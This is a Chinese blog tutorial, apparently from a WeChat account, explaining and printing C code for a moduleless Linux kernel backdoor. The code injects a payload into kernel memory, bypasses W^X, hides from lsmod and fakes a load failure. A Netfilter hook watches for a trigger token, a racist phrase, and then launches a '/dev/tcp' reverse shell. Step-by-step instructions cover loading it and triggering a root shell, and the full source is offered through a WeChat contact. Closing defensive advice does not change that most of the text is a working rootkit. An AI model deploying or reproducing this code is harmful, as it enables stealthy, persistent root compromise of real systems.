在聊具体技术之前，我们先搞清楚核心概念——所谓“无Linux内核模块植入后门”，本质上是一种绕开常规内核模块加载流程的恶意技术，和传统内核后门有着本质区别。
传统的Linux内核后门，大多会打包成.ko格式的内核模块文件，通过insmod、modprobe等系统命令加载到内核中运行。这种方式的痕迹很明显，会在/proc/modules（内核模块列表）、/sys/module/（模块文件目录）中留下清晰记录，很容易被安全工具检测到。
而无模块内核植入后门，完全抛弃了.ko模块载体，直接将恶意代码注入到内核的运行内存空间中并执行。它不会在系统的模块相关目录和文件中留下任何痕迹，也不需要依赖常规的模块加载命令，就像“隐形人”一样驻留在内核空间，实现长期控制、信息窃取等恶意功能，隐蔽性拉满，是目前高级持续性威胁（APT）中常用的攻击手段之一。
这类后门的核心目的很明确：一是长期驻留，利用内核空间的高权限和稳定性，避免被用户态的安全软件清理；二是隐蔽控制，通过触发式执行（比如特定网络指令、特定文件操作）实现远程控制，同时规避常规检测；三是跨版本适配，通过动态适配不同内核版本的API，扩大攻击覆盖范围。
一、核心设计思路与简易执行流程
（一）整体设计思路
无模块内核植入后门的设计核心可以总结为“先搭桥、再驻留、后触发、清痕迹”：
- 搭桥：先找到内核的“资源索引”（符号查找函数），通过它定位内核中的关键API（内存分配、网络处理、用户态调用等），为恶意代码运行铺路；
- 驻留：在核内存中分配可执行内存区域，将恶意载荷拷贝进去并赋予执行权限，同时通过内核原生框架（如Netfilter）注册钩子，实现恶意代码的长期驻留；
- 触发：设置隐蔽的触发条件（如特定网络标识、特定系统调用），只有满足条件时才执行核心恶意功能（如反弹shell）；
- 清痕迹：执行完恶意功能后，及时释放临时占用的内核内存，避免内存泄露暴露踪迹，同时伪装执行结果，规避系统日志监控。
（二）简易流程原理图（文字版）
第一步：内核符号查找准备
↓（获取符号查找函数，作为工具索引）
第二步：关键内核API寻址
↓（找到内存分配、钩子注册、用户态调用等核心函数）
第三步：恶意载荷内存分配与权限设置
↓（分配内核可写内存→拷贝恶意代码→设置可执行权限，规避W^X保护）
第四步：Netfilter网络钩子注册
↓（将自定义钩子挂载到内核网络处理流程，最高优先级监控）
第五步：网络数据包与触发条件检测
↓（监控进入本机的IPv4数据包，查找预设“暗号”TOKEN）
第六步：后门功能执行与内存清理
↓（找到暗号后反弹shell→执行完毕释放临时内存→伪装执行结果）
二、代码实现原理深度解读
...
statictypeof(printk) *p_printk = NULL;
statictypeof(lookup_name) *p_lookup_name = NULL;
statictypeof(kmalloc) *p_kmalloc = NULL;
statictypeof(kfree) *p_kfree = NULL;
statictypeof(memcmp) *p_memcmp = NULL;
statictypeof(call_usermodehelper) *p_call_umh = NULL;
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 13, 0)
statictypeof(nf_register_hooks) *p_nf_register_hooks = NULL;
#else
statictypeof(nf_register_net_hooks) *p_nf_register_net_hooks = NULL;
#endif
statictypeof(execute_in_process_context) *p_execute_in_process_context = NULL;
////////////////////////////////////////////////////////////////////////////////
staticinlinevoid *memmem(constvoid *h, size_t hlen, constvoid *n, size_t nlen){
if (!h || !hlen || !n || !nlen || (nlen > hlen))
returnNULL;
while (hlen >= nlen) {
if (!p_memcmp(h, n, nlen))
return (void *)h;
h++, hlen--;
}
returnNULL;
}
staticvoiddelayed_work(struct work_struct *ws){
char *envp[2] = { "HOME=/proc", NULL };
char *argv[4] = { "/bin/sh", "-c", SHCMD, NULL };
p_call_umh(argv[0], argv, envp, UMH_WAIT_EXEC);
p_kfree(container_of(ws, struct execute_work, work));
}
staticvoidtry_skb(struct sk_buff *skb){
if (memmem(skb->data, skb_headlen(skb), TOKEN, sizeof(TOKEN) - 1)) {
structexecute_work *ws = p_kmalloc(sizeof(structexecute_work), GFP_ATOMIC);
if (ws) p_execute_in_process_context(delayed_work, ws);
}
}
#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 1, 0)
staticunsignedintcustom_local_in(const struct nf_hook_ops *ops, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)){
if (skb) try_skb(skb);
return NF_ACCEPT;
}
#else
staticunsignedintcustom_local_in(void *arg, struct sk_buff *skb, const struct nf_hook_state *state){
if (skb) try_skb(skb);
return NF_ACCEPT;
}
#endif
staticstructnf_hook_opsnf_ops[] = {
[0] = {
.hook = (nf_hookfn *)NULL,
.pf = NFPROTO_IPV4,
.hooknum = NF_INET_LOCAL_IN,
.priority = NF_IP_PRI_FIRST,
},
};
long __attribute__((used, section(".text.entry"))) entry(const typeof(lookup_name) *lookup, void *net) {
...
p_call_umh = (void *)lookup("call_usermodehelper");
if (!p_call_umh) {
p_printk("no call_usermodehelper found\n");
return -EINVAL;
}
p_kmalloc = (void *)lookup("__kmalloc");
if (!p_kmalloc) {
p_printk("no __kmalloc found\n");
return -EINVAL;
}
p_kfree = (void *)lookup("kfree");
if (!p_kfree) {
p_printk("no kfree found\n");
return -EINVAL;
}
p_memcmp = (void *)lookup("memcmp");
if (!p_memcmp) {
p_printk("no memcmp found\n");
return -EINVAL;
}
p_execute_in_process_context = (void *)lookup("execute_in_process_context");
if (!p_execute_in_process_context) {
p_printk("no execute_in_process_context found\n");
return -EINVAL;
}
#if LINUX_VERSION_CODE <= KERNEL_VERSION(4, 13, 0)
p_nf_register_hooks = (void *)lookup("nf_register_hooks");
if (!p_nf_register_hooks) {
p_printk("no nf_register_hooks found\n");
return -EINVAL;
}
#else
p_nf_register_net_hooks = (void *)lookup("nf_register_net_hooks");
if (!p_nf_register_net_hooks) {
p_printk("no nf_register_net_hooks found\n");
return -EINVAL;
}
#endif
init_nf_hooks(net);
...
return0;
}
...
unsignedlonglookup_name(constchar *name){
statictypeof(lookup_name) *lookup = (void *)kallsyms_lookup_name;
if (NULL == lookup)
lookup = (void *)lookupName;
return lookup ? lookup(name) : 0;
}
intinit_module(void){
void *mem = NULL;
void *(*malloc)(long size) = NULL;
int (*set_memory_x)(unsignedlong, int) = NULL;
malloc = (void *)lookup_name("module_alloc");
if (!malloc) {
pr_debug("module_alloc() not found\n");
goto Error;
}
mem = malloc(round_up(payload_len, PAGE_SIZE));
if (!mem) {
pr_debug("malloc(payload_len) failed\n");
goto Error;
}
set_memory_x = (void *)lookup_name("set_memory_x");
if (set_memory_x) {
int numpages = round_up(payload_len, PAGE_SIZE) / PAGE_SIZE;
set_memory_x((unsignedlong)mem, numpages);
}
print_hex_dump_bytes("payload@", DUMP_PREFIX_OFFSET, payload, payload_len);
memcpy(mem, payload, payload_len);
if (0 == ((long (*)(void *, void *))mem)(lookup_name, &init_net))
return -ENOTTY; // success
Error:
if (mem) vfree(mem);
return -EINVAL; // failure
}
...
If you need the complete source code, please add the WeChat number (c17865354792)
提供的代码分为两个核心部分：加载器代码（负责注入恶意载荷）和恶意载荷代码（负责实现后门功能），我们分别用大白话拆解。
（一）加载器代码：恶意载荷的“隐形启动器”
加载器的作用就像“搭桥人”，它不直接执行恶意功能，而是为恶意载荷找到内核中的“落脚点”并启动它，核心步骤如下：
符号查找函数初始化：找“工具索引”代码中的lookup_name函数是核心中的核心，它先尝试调用内核自带的kallsyms_lookup_name（内核符号查找工具，能通过函数名找到对应内存地址）。如果这个工具不可用（比如内核关闭了kallsyms功能），就使用模块参数lookupName手动传入的符号查找地址。 大白话解释：这就像你要修东西，先找一本“工具目录”，要么用系统自带的目录，要么用别人给你的手动目录，只有拿到目录，才能找到对应的工具。
分配内核内存：给恶意代码找“住处”代码通过lookup_name找到module_alloc（内核模块专用内存分配函数），用它为恶意载荷分配内存。这里有个细节：用round_up(payload_len, PAGE_SIZE)将内存大小按页面大小对齐，因为Linux内核是按“内存页”（通常4KB）来管理内存的，必须按这个规矩分配，否则内核会拒绝。 大白话解释：恶意代码不能随便放在内核内存里，得找一块内核认可的“合法住处”，而且要按内核的户型（页面大小）来选房。
设置可执行权限：给“住处”开“运行许可”现代Linux内核有W^X保护机制（写权限和执行权限不能同时存在，防止恶意代码注入），代码先通过module_alloc分配可写内存（拷贝恶意代码需要写权限），拷贝完成后，再通过set_memory_x函数给内存设置可执行权限，同时计算需要设置的页面数量（numpages）。 大白话解释：恶意代码要运行，必须给它的住处开“运行许可证”，但内核不让同时拥有“写入权”和“运行权”，所以先写代码，再开运行许可，钻了机制的空子。
拷贝并执行载荷：启动恶意代码并伪装痕迹用memcpy将恶意载荷拷贝到分配好的内存中，然后直接把这块内存当作函数来调用（传入符号查找函数和默认网络命名空间init_net）。这里有个隐蔽性设计：如果执行成功，反而返回-ENOTTY（非0值，伪装成执行失败），只有执行失败时才返回-EINVAL，这样不会被系统日志标记为“异常成功”，更难被发现。如果执行失败，会用vfree释放内存，避免留下痕迹。 大白话解释：把恶意代码搬到它的住处，然后偷偷启动它，启动成功了还假装“我失败了”，不让系统察觉；如果真的启动失败，就把住处清理干净，不留一点痕迹。
（二）恶意载荷代码：后门功能的“实际执行者”
这部分是后门的核心，负责实现监控、触发、控制等功能，核心步骤如下：
内核API动态映射：绑定内核“工具”代码先定义了一堆函数指针（p_printk、p_kmalloc、p_call_umh等），然后在entry入口函数中，通过传入的符号查找函数，逐个查找这些内核API的地址并赋值给函数指针。同时做了容错处理：如果某个关键API（比如call_usermodehelper、__kmalloc）找不到，就打印错误日志并退出，避免因缺少工具导致内核崩溃（暴露踪迹）。 大白话解释：恶意代码要在核内运行，需要调用内核的各种工具（比如打印日志、分配内存、调用用户态程序），这一步就是通过“工具目录”找到这些工具，然后绑定到自己能用的“快捷方式”上，找不到关键工具就干脆不继续，避免暴露。
自定义memmem函数：做“暗号检测器”代码实现了一个简易的memmem函数，作用是在网络数据包的数据中，查找是否存在预设的“暗号”（TOKEN常量，也就是black-wives-are-fatter）。它的原理很简单：逐字节对比数据包数据和暗号，如果找到完全匹配的字符串就返回地址，否则返回NULL，相当于一个专用的“暗号识别器”。 大白话解释：后门不会一直执行恶意功能，只有收到“暗号”才会触发，这个函数就是用来在网络数据包里找暗号的，找不到就啥也不干，更隐蔽。
Netfilter钩子实现：装“网络监控探头”代码根据内核版本差异，实现了不同的custom_local_in钩子函数（内核4.1版本前后，Netfilter钩子接口参数不同）。这个钩子绑定到NF_INET_LOCAL_IN（进入本机的IPv4数据包钩子点），优先级设为NF_IP_PRI_FIRST（最高优先级），确保所有发到本机的网络数据包，都会先经过这个钩子处理。钩子函数的逻辑很简单：如果数据包不为空，就调用try_skb函数，让“暗号检测器”检查数据包。 大白话解释：给内核的网络处理流程装一个“监控摄像头”，所有发到本机的网络数据，都要先经过这个摄像头拍一下，摄像头再把数据交给“暗号检测器”检查。
try_skb函数：如果memmem找到了“暗号”，就用p_kmalloc分配一个execute_work（工作队列结构体），然后调用p_execute_in_process_context，把delayed_work函数放到进程上下文中执行（避免内核上下文冲突导致崩溃）。delayed_work函数：这是后门的核心功能实现，它构造了反弹shell命令（SHCMD常量，bash -i >& /dev/tcp/127.0.0.1/6666 0>&1），通过p_call_umh（内核调用用户态程序的核心API）调用/bin/sh执行这个命令，将系统shell反弹到指定IP和端口（这里是本地127.0.0.1:6666）。执行完后，用p_kfree释放之前分配的execute_work内存，避免内存泄露暴露踪迹。 大白话解释：一旦检测器找到了暗号，就启动反弹shell功能，先申请一块临时内存存任务信息，然后让内核在安全的环境中执行反弹shell命令，执行完后立刻释放临时内存，不留一点痕迹。
init_nf_hooks函数：根据内核版本，调用不同的钩子注册函数（nf_register_hooks或nf_register_net_hooks），将自定义钩子正式挂载到Netfilter框架中，实现长期驻留。entry函数：作为恶意载荷的入口，先完成所有API的查找和校验，校验通过后注册钩子，最后打印一句无关紧要的日志（伪装成正常内核代码），返回0表示执行成功，至此后门完成驻留，等待触发条件。 大白话解释：把“监控摄像头”正式安装到内核里，然后打印一句废话日志假装自己是正常代码，最后安静等待有人发送“暗号”，触发反弹shell。
三、相关领域核心知识点总结
这款无模块内核后门的实现，用到了多个Linux内核核心领域的知识点，我们提炼出关键要点，方便理解：
1. 内核符号查找机制（核心基础）
- 核心知识点：
kallsyms_lookup_name是Linux内核默认的符号查找函数，作用是通过函数名（字符串）查找内核函数的物理内存地址，是无模块植入的“基石”。 - 实际应用：当内核关闭kallsyms功能（提高安全性）时，可通过手动传入符号地址（
lookupName模块参数）替代，实现跨内核版本适配。
2. Netfilter网络框架（驻留核心）
- 核心知识点：Netfilter是Linux内核网络数据包处理的核心框架，提供了5个关键钩子点（
NF_INET_PRE_ROUTING、NF_INET_LOCAL_IN等），允许自定义函数拦截、修改、丢弃网络数据包，iptables防火墙就是基于这个框架实现的。 - 实际应用：本文中利用
NF_INET_LOCAL_IN钩子点（监控进入本机的数据包），实现后门触发条件检测，由于是复用内核原生框架，难以被安全工具识别。 - 所属领域：Linux内核网络协议栈、防火墙底层实现。
3. 内核内存管理与保护机制（安全绕开）
- 核心知识点：① 内核内存按“页面”管理，
module_alloc是内核模块专用内存分配函数；② 现代内核有W^X保护（写权限与执行权限互斥）、不可执行内存等安全机制，防止恶意代码注入。 - 实际应用：代码中先分配可写内存→拷贝恶意载荷→设置可执行权限，绕开W^X保护；同时及时用
kfree/vfree释放内存，避免内存泄露暴露踪迹。 - 所属领域：Linux内核内存管理、系统安全防护（内存保护）。
4. 内核版本兼容性处理（扩大攻击范围）
- 核心知识点：不同Linux内核版本的API接口存在差异（如Netfilter钩子注册函数、钩子参数格式），直接硬编码调用会导致兼容性问题。
- 实际应用：代码通过
LINUX_VERSION_CODE宏判断内核版本，分别实现不同的函数调用和接口适配，让恶意载荷能在多个内核版本上运行。 - 所属领域：Linux内核版本迭代、跨版本兼容性开发。
5. 内核态到用户态的调用机制（功能延伸）
- 核心知识点：
call_usermodehelper是内核态调用用户态程序的核心API，能在内核空间中启动用户态进程（如/bin/sh、/bin/ls），并传递命令参数。 - 实际应用：本文中通过该API执行反弹shell命令，实现内核后门向用户态的功能延伸，获取系统完整控制权。
6. 隐蔽性设计技巧（对抗检测）
- 核心知识点：无模块后门的核心优势是隐蔽性，代码中多处体现对抗检测的设计： ① 不加载.ko模块，不在
/proc/modules留下记录； ② 执行成功后伪装返回失败（-ENOTTY），规避系统日志监控； ③ 及时释放内核内存，避免内存泄露暴露踪迹； ④ 复用Netfilter原生框架，伪装成正常网络处理逻辑。
四、简单测试步骤
工具说明：
make/gcc/linux-headers：用于编译内核模块（backdoor.ko）netcat/nc：用于监听端口，接收后门反弹的shell连接
第一步：编译内核模块
- 进入backdoor的代码目录（你要先把代码下载到本地，进入对应的文件夹）
- 编译成功后，目录下会生成
backdoor.ko 文件（如果编译报错，大概率是缺少内核头文件，回头重新安装上面的依赖即可）
第二步：加载“隐形”模块（关键：解决你的insmod报错）
你遇到的 insmod: ERROR: could not insert module backdoor.ko: Inappropriate ioctl for device不是真的失败，是后门的隐蔽性设计！
对应之前文章里的原理：这款无模块后门故意在加载成功后返回 -ENOTTY 错误码，伪装成“加载失败”，避免被管理员察觉。具体操作：
- 执行加载命令（必须用sudo，需要内核权限）：
sudo insmod backdoor.ko
- 此时会弹出你遇到的报错信息，不用管它，这是正常现象
- 验证“隐形”效果：执行下面两个命令，都查不到backdoor模块（这就是它和传统内核模块的区别，不留痕迹）
lsmod | grep backdoor# 无输出
cat /proc/modules | grep backdoor# 无输出
第三步：启动端口监听（接收反弹Shell）
后门的核心功能是反弹shell到 127.0.0.1:6666（对应代码里的 SHCMD 常量），我们需要先启动监听，等待后门连接：
- 打开一个新的终端窗口（不要关闭之前的终端，保持独立窗口）
- 执行后终端会处于“卡住”的状态，这是正常的，说明正在监听6666端口，等待后门触发
第四步：触发后门（发送带“暗号”的ICMP数据包）
我们需要用hping3发送包含预设“后门暗号”（black-wives-are-fatter，对应代码里的 TOKEN 常量）的ICMP数据包（类似ping包），触发后门执行：
- 直接执行下面的触发命令（参数含义大白话解释在后面，不用死记）：
sudo hping3 -c 1 -j -1 -e black-wives-are-fatter 127.0.0.1
- 命令执行后，会有少量输出，无需关注，只要没有报错即可
补充：hping3命令参数大白话解释
-c 1：只发送1个数据包（够触发后门就行，多了没用）-1：指定发送ICMP数据包（和ping命令的数据包类型一样）-e black-wives-are-fatter：核心参数！把“后门暗号”写入数据包的选项字段，对应代码里 memmem 函数要查找的内容127.0.0.1：发送给本地主机（后门监控的是本机的网络数据包）
第五步：验证后门触发成功
- 切换到你之前启动
nc -l 6666 的终端窗口 - 此时原本“卡住”的终端会出现shell提示符（比如
# 或 $），说明已经成功接收后门反弹的shell - 你可以执行简单的系统命令验证，比如：
ls # 查看当前目录文件
whoami # 会显示root（因为后门是内核权限，反弹的shell也是root权限）
pwd# 查看当前路径
能正常执行命令，就说明测试成功！
重要：测试完成后清理后门
由于这是“无模块”后门，无法用 rmmod backdoor 命令卸载（根本查不到模块），最简单的清理方式是：
sudo reboot
重启系统后，内核内存中的后门代码会被清空，恢复正常系统状态（新手优先用这种方式，简单无残留）
测试注意事项
- 内核版本兼容：代码对Linux 4.1之前、4.1~4.13、4.13之后的内核做了适配，若你的内核版本过新（比如5.10以上），可能出现编译失败或触发无响应，属于正常现象
- 权限问题：所有操作必须加
sudo，没有root权限无法加载内核模块、发送ICMP数据包 - 安全警示：仅限自己的测试虚拟机中操作，严禁在生产环境、他人设备上使用，违反法律法规需承担相应责任
- 防火墙影响：若本地开启了防火墙（ufw/iptables），可能拦截ICMP数据包或6666端口，测试前可临时关闭防火墙（
sudo ufw disable）
五、总结与安全警示
（一）技术总结
无模块Linux内核植入后门，本质上是对Linux内核原生机制的“恶意复用”：它通过符号查找获取内核资源，通过Netfilter实现长期驻留，通过内存权限绕开安全保护，通过触发式执行实现隐蔽控制，最终达到长期控制目标系统的目的。这种技术的核心优势是隐蔽性强、适配性好、难以检测，是目前高级攻击中极具威胁的手段。
（二）安全警示
对于企业和运维人员来说，针对这类无模块内核后门，可采取以下防护和检测措施：
- 前置防护：① 关闭不必要的内核功能（如kallsyms），减少内核资源暴露；② 限制模块加载权限（禁止普通用户执行
insmod/modprobe）；③ 及时更新内核补丁，修复内核漏洞；④ 采用最小权限原则配置系统，降低攻击影响范围。 - 事后检测：① 监控异常内核函数调用（如
call_usermodehelper异常调用/bin/sh）；② 监控异常网络连接（如不明IP的反弹shell端口连接）；③ 监控内核内存可执行区域变化，发现异常注入痕迹；④ 使用主机入侵检测系统（HIDS），监控内核行为异常。
最后需要说明的是，这类技术本身是中性的：它既可以被恶意攻击者利用实施破坏，也可以被安全研究人员用于漏洞挖掘、防御技术研发。关键在于使用者的立场和场景，而了解其实现原理，是构建有效防御体系的前提。
Welcome to follow WeChat official account【程序猿编码】
